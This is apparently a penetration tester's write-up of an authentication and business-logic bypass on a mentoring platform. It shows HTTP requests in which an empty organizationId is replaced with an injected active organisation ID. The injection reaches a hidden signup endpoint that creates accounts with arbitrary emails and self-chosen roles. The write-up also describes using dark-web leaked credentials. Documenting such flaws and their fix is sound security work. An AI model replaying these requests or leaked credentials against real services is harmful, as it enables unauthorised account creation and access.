During a penetration test of a mentoring platform, I found an edge case that let me bypass both the authentication logic and the business rules built on top of it.
By abusing how the application handled orphaned accounts, users tied to deactivated organisations, I reached a hidden signup endpoint that let me:
- Create new accounts, even though the platform forbids open sign-ups
- Join any organisation of my choice
- Self-select my role, mentor or mentee, bypassing the normal approval flow
A combination of logic and authentication flaws that unravelled the entire onboarding model.
#The platform's rules
The application hosts mentoring programmes and has two distinct areas:
- Admin Portal, for organisation admins to manage orgs and invite members
- Member Portal, for both mentors and mentees
Only two account creation paths are permitted by the business rules:
- Admin invite flow. An admin invites a user by email.
- Mentee request flow. A mentee applies through a form; a mentor accepts or rejects.
No open signup is allowed. The UI gives you no way to simply create an account.

#The authentication flow
The platform uses Google Identity Toolkit, Firebase style. Sign-in happens in two steps.
#Step A: exchange email and password for a Google ID token
POST /mentoring/authorize/google-proxy/https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key=****************** HTTP/2
Host: api.application.com
Content-Type: application/json
X-Client-Version: Firefox/JsCore/8.10.1/FirebaseCore-web
Origin: https://my.application.com
{"email":"email@com.org","password":"rmdndodo.com","returnSecureToken":true}
#Step B: hand off the ID token with organisation context
POST /mentoring/authorize/signup/complete
Content-Type: application/json
Origin: https://my.application.com
{
"state": "A0DB...<very long state blob>...",
"idToken": "eyJhb...<google_id_token>",
"organizationId": "org-Id"
}Response:
{
"date": "2024-10-01T16:00:31.446Z",
"reasons": ["Reached User"],
"isSuperAdmin": false,
"employeesStatusCode": "A",
"lastModified": "2024-10-01T16:25:25.245Z",
"id": "G0THVY...<user_id>",
"Bearer": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...<app_access_token>"
}
#First attempts, both dead ends
#Testing IDOR in organizationId
Every request after login carried an organizationId, so the obvious first move was an Insecure Direct Object Reference attempt. I swapped organizationId values across API calls and replayed requests with different IDs.
Result: nothing. The backend consistently validated the organisation against my token. No leaks, no cross-org access.
#Trying to trick the invite flow
Next I attacked the invite logic. Using an admin account I invited another email I controlled, then deleted that account from the organisation, hoping the application would leave it partially unlinked and still allow login.
Result: the account was completely removed and later logins failed.
#The long pause
Hours in, with no IDOR, no invite trick and no easy bypass, the logic looked tight.
So I changed approach. Instead of pushing harder on the happy path, I started hunting for weird states, edge cases where an account might not behave as the developers expected.
With permission from the testing team, I pulled leaked credentials from the dark web. Many were old emails tied to deactivated organisations. That is where it got interesting.
#The orphaned account
Logging in with one of these inactive-organisation accounts worked, but the response was different.
The client first calls Google Identity Toolkit through the application's proxy:
POST /mentoring/authorize/google-proxy/https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key=***********
Host: api.application.com
Content-Type: application/json
{"email":"email@com.org","password":"rmdndodo12com","returnSecureToken":true}Then it exchanges that ID token with the backend:
POST /mentoring/authorize/signup/complete
Content-Type: application/json
Origin: https://my.application.com
{
"state": "A0DB...<long blob>",
"idToken": "eyJhb...<google_id_token>",
"organizationId": "" // ← empty!
}Here is the inconsistency. Normally organizationId is fixed to the user's organisation. For this deactivated-organisation account it arrived empty in the body, even though the JWT still carried an inactive organizationId.
That was the logic breakdown. If the field was empty, could I supply my own?
#Injecting my own organisation
I replayed the request, this time setting organizationId to a real, active organisation I had captured earlier:
{
"state": "A0DB...<same state>",
"idToken": "eyJhb...<google_id_token>",
"organizationId": "A********" // injected org
}The backend accepted it. I was redirected, but not into the organisation. The application handed me a path that is not normally reachable at all.
#The hidden signup endpoint
The redirect happened because of a confusion in the login logic: the account's token still carried an inactive organizationId, while my request supplied a new active one. The backend never validated that mismatch and instead treated the session as a valid signup flow, exposing a hidden endpoint:
POST /mentoring/authorize/signup
Host: api.application.com
Content-Type: application/json
{
"type": "emailInvite",
"email": "rmdn@gma1l.com",
"organizationId": "J**********",
"password": "Aa123456!@#",
"firstName": "rmdn",
"lastName": "doda"
}Response:
{ "accountCreated": true }
Unlike the UI, from here I could:
- Set any email I wanted
- Create accounts without an invite
- Choose my own role during onboarding, mentor or mentee


#Recap
- Tried IDOR on
organizationId. Failed, the backend validated against the token. - Tried the invite-then-delete trick. Failed, the account was fully removed.
- Found an orphaned account, where
organizationIdarrived empty insignup/complete. - Injected a valid active organisation ID. The server accepted it and issued a token.
- Got redirected to a hidden
/signup, and created accounts with arbitrary emails. - Self-selected a role, and landed inside the organisation as mentor or mentee.
#Root cause
The backend trusted a client-supplied organizationId in a state where its own token said something different, and never reconciled the two. An empty field in an unexpected account state was treated as "not yet onboarded" rather than "invalid", which routed an already-authenticated user into a signup flow that should never have been reachable.
The fix is to treat the organisation in the token as authoritative, reject any request where the supplied organisation contradicts it, and refuse to enter a signup flow for a principal that already exists.